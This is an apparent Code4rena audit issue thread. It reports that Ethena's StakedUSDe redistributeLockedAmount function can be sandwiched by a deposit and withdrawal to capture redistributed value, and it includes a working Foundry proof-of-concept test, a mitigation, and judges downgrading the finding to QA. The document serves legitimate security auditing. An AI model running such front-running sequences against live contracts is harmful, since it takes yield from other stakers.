c4-submissions commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L148

Vulnerability details

Impact

The StakedUSDe contract has a redistributeLockedAmount function which enables the owner to redistribute the staked assets of a blocked account. This function has a to parameter which enables to chose an address to reallocate the assets to, otherwise this parameter can be set to 0 to redistribute the assets to the entirety of the stUSDe holders (as per name of the function). If the second option is utilized anyone can frontrun the redistributeLockedAmount call with a deposit, to get access to the assets redistribution, and immediately withdraw the deposited amount, basically accessing free yield, while decreasing the revenue for legit users.

The protocol has a cooldown period after which a requested withdraw can be finalized; this parameter can be set to 0, in which case the malicious user will get access to the yield without any further inconvenience, otherwise they'll have to way for the cooldown period before being able to access the USDe tokens. During this period the assets will be stored in a silo contract, where, eventually only the withdraw requester can access them, there is no penalty or fee for doing so nor the assets will be available to the general protocol or to the owner account during the cooldown, meaning that a malicious user may be able to access to the yield by only exposing them self to the "risk" of not being able to trade or sell their USDe for a couple or day (since USDe is a stable coin this isn't particularly damaging)

Proof of Concept

The redistributeLockedAmount function can redistribute asset the the entirety of the stUSDe holders by setting the to parameters to 0 (as can be observed in the comment):

  function redistributeLockedAmount(address from, address to) external onlyRole(DEFAULT_ADMIN_ROLE) {
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, from) && !hasRole(FULL_RESTRICTED_STAKER_ROLE, to)) {
      uint256 amountToDistribute = balanceOf(from);
      _burn(from, amountToDistribute);
      // to address of address(0) enables burning
      if (to != address(0)) _mint(to, amountToDistribute);

      emit LockedAmountRedistributed(from, to, amountToDistribute);
    } else {
      revert OperationNotAllowed();
    }
  }

Burning the shares, without changing the asset amount, will result in each stUSDe token holding more value.

This additional value, doesn't use the vesting period approach (used by the regular reward deposits, in transferInRewards), where tokens are released linearly over time, to prevent users from frontrunning the deposit of rewards and than withdrawing right away (See audit description). Since this counter measure is not taken by the redistributeLockedAmount function, any redistribution to the entire pool, can be frontrunned with a deposit, and back ran with a withdraw to get access to the yield, taking it from regular users of the protocol.

With the only inconvenience of the cooldown period, as mentioned in the Impact section above.

Here is a foundry script that shows the over mentioned behavior. Place it the /test/foundry/staking/ folder to preserve dependencies.

// SPDX-License-Identifier: MIT
pragma solidity >=0.8;

/* solhint-disable private-vars-leading-underscore  */
/* solhint-disable var-name-mixedcase  */
/* solhint-disable func-name-mixedcase  */

import {console} from "forge-std/console.sol";
import "forge-std/Test.sol";
import {SigUtils} from "forge-std/SigUtils.sol";

import "../../../contracts/USDe.sol";
import "../../../contracts/StakedUSDeV2.sol";
import "../../../contracts/interfaces/IUSDe.sol";
import "../../../contracts/interfaces/IERC20Events.sol";

contract StakedUSDeV2CooldownBlacklistTest is Test, IERC20Events {
  USDe public usdeToken;
  StakedUSDeV2 public stakedUSDe;
  SigUtils public sigUtilsUSDe;
  SigUtils public sigUtilsStakedUSDe;
  uint256 public _amount = 100 ether;

  address public owner;
  address public alice;
  address public bob;
  address public greg;

  bytes32 SOFT_RESTRICTED_STAKER_ROLE;
  bytes32 FULL_RESTRICTED_STAKER_ROLE;
  bytes32 DEFAULT_ADMIN_ROLE;
  bytes32 BLACKLIST_MANAGER_ROLE;
  bytes32 REWARDER_ROLE;

  event Deposit(address indexed caller, address indexed owner, uint256 assets, uint256 shares);
  event Withdraw(
    address indexed caller, address indexed receiver, address indexed owner, uint256 assets, uint256 shares
  );
  event LockedAmountRedistributed(address indexed from, address indexed to, uint256 amountToDistribute);

  function setUp() public virtual {
    usdeToken = new USDe(address(this));

    alice = makeAddr("alice");
    bob = makeAddr("bob");
    greg = makeAddr("greg");
    owner = makeAddr("owner");

    usdeToken.setMinter(address(this));

    vm.startPrank(owner);
    stakedUSDe = new StakedUSDeV2(IUSDe(address(usdeToken)), makeAddr('rewarder'), owner);
    vm.stopPrank();

    FULL_RESTRICTED_STAKER_ROLE = keccak256("FULL_RESTRICTED_STAKER_ROLE");
    SOFT_RESTRICTED_STAKER_ROLE = keccak256("SOFT_RESTRICTED_STAKER_ROLE");
    DEFAULT_ADMIN_ROLE = 0x00;
    BLACKLIST_MANAGER_ROLE = keccak256("BLACKLIST_MANAGER_ROLE");
    REWARDER_ROLE = keccak256("REWARDER_ROLE");
  }

  function _mintApproveDeposit(address staker, uint256 amount, bool expectRevert) internal {
    usdeToken.mint(staker, amount);

    vm.startPrank(staker);
    usdeToken.approve(address(stakedUSDe), amount);

    uint256 sharesBefore = stakedUSDe.balanceOf(staker);
    if (expectRevert) {
      vm.expectRevert(IStakedUSDe.OperationNotAllowed.selector);
    } else {
      vm.expectEmit(true, true, true, false);
      emit Deposit(staker, staker, amount, amount);
    }
    stakedUSDe.deposit(amount, staker);
    uint256 sharesAfter = stakedUSDe.balanceOf(staker);
    if (expectRevert) {
      assertEq(sharesAfter, sharesBefore);
    } else {
      assertApproxEqAbs(sharesAfter - sharesBefore, amount, 1);
    }
    vm.stopPrank();
  }

  function testRedistributeSandwich() public {

    //SET UP
    vm.prank(owner);  
    stakedUSDe.setCooldownDuration(14 days); //Set cooldown

    _mintApproveDeposit(alice, _amount, false); //Mint asset to users
    _mintApproveDeposit(bob, _amount, false);

    usdeToken.mint(address(0x123), _amount);
    uint256 balanceBefore = usdeToken.balanceOf(address(0x123));

    vm.prank(owner);
    stakedUSDe.grantRole(FULL_RESTRICTED_STAKER_ROLE, alice);

    //POC
    vm.startPrank(address(0x123));
    usdeToken.approve(address(stakedUSDe), _amount);
    stakedUSDe.deposit(_amount, address(0x123)); //Frontrun redistributeLockedAmount with a deposit
    vm.stopPrank();

    vm.prank(owner);
    stakedUSDe.redistributeLockedAmount(alice, address(0));//Owner redistribute locked amount between al users

    vm.startPrank(address(0x123));
    stakedUSDe.cooldownShares(stakedUSDe.balanceOf(address(0x123)),address(0x123));//Backrun redistributeLockedAmount with a withdraw

    skip(14 days); 

    stakedUSDe.unstake(address(0x123));
    vm.stopPrank();

    uint256 balanceAfter = usdeToken.balanceOf(address(0x123));

    assertTrue(balanceAfter > balanceBefore);//User 0x123 have generated revenue without ever exposing his principal to the protocol

    console.log(balanceBefore);
    console.log(balanceAfter);

  }
}

Recommended Mitigation Steps

In case of a redistribution, the assets being released to the pool, could be added to the vestingAmount variable and released over time, as for other rewards.

Assessed type

Other

c4-pre-sort commented 1 year ago

raymondfam marked the issue as low quality report

c4-pre-sort commented 1 year ago

raymondfam marked the issue as primary issue

raymondfam commented 1 year ago

Can't mint to address(0).

c4-judge commented 1 year ago

fatherGoose1 changed the severity to QA (Quality Assurance)

fatherGoose1 commented 1 year ago

QA. Valid point, but this isn't technically stealing value from existing users. They will all benefit unexpectedly from the seizing of blacklisted funds. The fact that an arbitrageur can sandwich the call to redistributeLockedAmount() does not impose any negative effects to user funds.